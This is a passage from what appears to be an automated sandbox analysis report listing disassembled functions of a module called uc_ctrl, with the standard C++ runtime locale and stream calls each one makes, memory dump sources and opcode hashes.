?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C85A4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C85E7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_time@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 459751575-0
Opcode ID: 2978eaa8ee4fa2277fcbac1dcc99d408b529e62f0f98a40abe26de7b6bdaef81
Instruction ID: acbf59de3f19d8e9ad497f92edf0790f460475f16227d9958084084a15d32b59
Opcode Fuzzy Hash: 2978eaa8ee4fa2277fcbac1dcc99d408b529e62f0f98a40abe26de7b6bdaef81
Instruction Fuzzy Hash: A1219078A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE505A7246CBB59E45CBA2

Function 6D1C45C0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C45C7

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C45F7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B95EB: __EH_prolog3.LIBCMT ref: 6D1B95F2
Part of subcall function 6D1B95EB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE611,?,?,?,?,?,00000000), ref: 6D1B95FD
Part of subcall function 6D1B95EB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1B9615
Part of subcall function 6D1B95EB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,00000000), ref: 6D1B9679

std::locale::~locale.LIBCPMT ref: 6D1C460D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WK@Z.MSVCP140(?,00000000,?,?,?,00000002,?,?), ref: 6D1C4639
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C4686

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 00eebd252ff0a2cde81bba83b1979817b11f3052a910d8a5083d3e1ce954c80a
Instruction ID: 3a16b6d0a73a46fc1fc617a29954cd7bc220cfa92fe921956a8d73e0a700bed8
Opcode Fuzzy Hash: 00eebd252ff0a2cde81bba83b1979817b11f3052a910d8a5083d3e1ce954c80a
Instruction Fuzzy Hash: 3621E475909114ABCB01CBE8C850BFDBBF46F68304F15804EE244A7289DBF99A01CBA5

Function 6D1C8440 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8447

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8477

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C848C
?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBUtm@@DD@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C84C4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8507

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_$??1_?getloc@ios_base@std@@?put@?$time_put@_?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1399300241-0
Opcode ID: 59a9a8110c642caf926374100d98a43ddf5b981577c63f8ac13368d74440fea0
Instruction ID: 6eb64dd2e3272553b07d14c66497fa62acdc12dead68744feebdb3f3865da13a
Opcode Fuzzy Hash: 59a9a8110c642caf926374100d98a43ddf5b981577c63f8ac13368d74440fea0
Instruction Fuzzy Hash: 5C219D74A05208EFCF05DFE8C990DEDBFB5AF18308F19405DE205A7246C7B59A45CBA6

Function 6D1C8F20 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8F27

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8F57

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C8F6C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAA_N@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8FA4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8FE7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 220d2ac70d1edd2ad58fc4810c708d894287401d2d47d723526ce787d0a51aca
Instruction ID: b6d0a264202d0292e4f950f5334ca0268e70e037e9e42e1126d70271398de6fd
Opcode Fuzzy Hash: 220d2ac70d1edd2ad58fc4810c708d894287401d2d47d723526ce787d0a51aca
Instruction Fuzzy Hash: 18215E74A05208EFCB05DFE8C990DEDBBB5AF18308F15405DE205A7245C7B59E45CBA6

Function 6D1C0F60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0F67

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0F97

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0FAD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_J@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0FDA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C1027

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: ef9e248c8e132903cbf8a27274f82b1dd334a404d5a562b5b50fb0855eae530b
Instruction ID: 3ede0bb99f4a95c71a84bddce5abc3e885f917ac0ac48fb4d959a0a5fef32c97
Opcode Fuzzy Hash: ef9e248c8e132903cbf8a27274f82b1dd334a404d5a562b5b50fb0855eae530b
Instruction Fuzzy Hash: BD210675905104AFCF01DFE8C950BFDBBF5AF58308F25804EE644AB285CBB99A01DB61

Function 6D1C87C0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C87C7

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C87F7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C880C
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8844
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C8887

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 576637126-0
Opcode ID: c7cdd701cb6a1fea00a1824c1a78004158bf6248bcf229bb36af44b7c1146039
Instruction ID: b1e9e64a594193e72ed95e8b77ac4067f9cf5ce071da622f8dfb8e4d0892543c
Opcode Fuzzy Hash: c7cdd701cb6a1fea00a1824c1a78004158bf6248bcf229bb36af44b7c1146039
Instruction Fuzzy Hash: D3219D74A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE105A7246C7B59E41CBA1

Function 6D1C8600 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C8607

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8637

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C864C
?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8684
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C86C7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_date@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3659963615-0
Opcode ID: 2f1575aa1f3cccc993be3c799d2b8a7fdf4c707cb2e788baf120d8653c523b1b
Instruction ID: 71cd6ca76fc7b85cada4973935238d0448bd90f21d769f694d55d501791b5230
Opcode Fuzzy Hash: 2f1575aa1f3cccc993be3c799d2b8a7fdf4c707cb2e788baf120d8653c523b1b
Instruction Fuzzy Hash: 16219D78A05208EFCB05DFE8C990DEDBFB5AF18308F19405DE105A7346D7B59A41CBA1

Function 6D1C0E80 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C0E87

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
Part of subcall function 6D1A7C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6D1A7BA3,?,?,?,?,?,?,0000000C,6D1A7B7C,?,6D1A4238,?,969FB934,?,6D1CBDA0), ref: 6D1A7CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0EB7

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1B9C86: __EH_prolog3.LIBCMT ref: 6D1B9C8D
Part of subcall function 6D1B9C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AEAF1,00000010,6D1A80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6D1B9C98
Part of subcall function 6D1B9C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1B9CB0
Part of subcall function 6D1B9C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1B9D14

std::locale::~locale.LIBCPMT ref: 6D1C0ECD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_K@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0EFA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6D1C0F47

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: ca46018425a1929eefbec9d9ad0e0ddc83135811685b2e9cdde45eeece6997e0
Instruction ID: 9d072870f615345b808d7ff1e5952a8399815e0b9cc7afb647a5c2fbbadbbb23
Opcode Fuzzy Hash: ca46018425a1929eefbec9d9ad0e0ddc83135811685b2e9cdde45eeece6997e0
Instruction Fuzzy Hash: 3521E475904104AFCF01DFA8C950BFDBBB5AF58308F15804DE644AB285CBB59A01CBA1

Function 6D1C86E0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C86E7

Part of subcall function 6D1BFEDA: __EH_prolog3.LIBCMT ref: 6D1BFEE1
Part of subcall function 6D1BFEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6D1C7779,?,00000001,00000008), ref: 6D1BFF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6D1C8717

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AAFBD: __EH_prolog3.LIBCMT ref: 6D1AAFC4
Part of subcall function 6D1AAFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1A7FBA,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?,?,00000004), ref: 6D1AAFCF
Part of subcall function 6D1AAFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1AAFE7
Part of subcall function 6D1AAFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1AB04B

std::locale::~locale.LIBCPMT ref: 6D1C872C
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6D1C8764
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6D1C87A7

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3174451881-0
Opcode ID: e49aff9d8ba3c60040001cbd33042bfe1f5881858e5dd515d4b660d50a46beb0
Instruction ID: e12cd8c2e22d0ff0c5a47245ca1fd3e23df697c51e3bd0873530f84846839f16
Opcode Fuzzy Hash: e49aff9d8ba3c60040001cbd33042bfe1f5881858e5dd515d4b660d50a46beb0
Instruction Fuzzy Hash: CC219D78A05248EFCF05DFE8C990DEDBFB5AF18308F19405DE205A7246D7B59A41CBA2

Function 6D1C4160 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1C4167

Part of subcall function 6D1A7C64: __EH_prolog3.LIBCMT ref: 6D1A7C6B
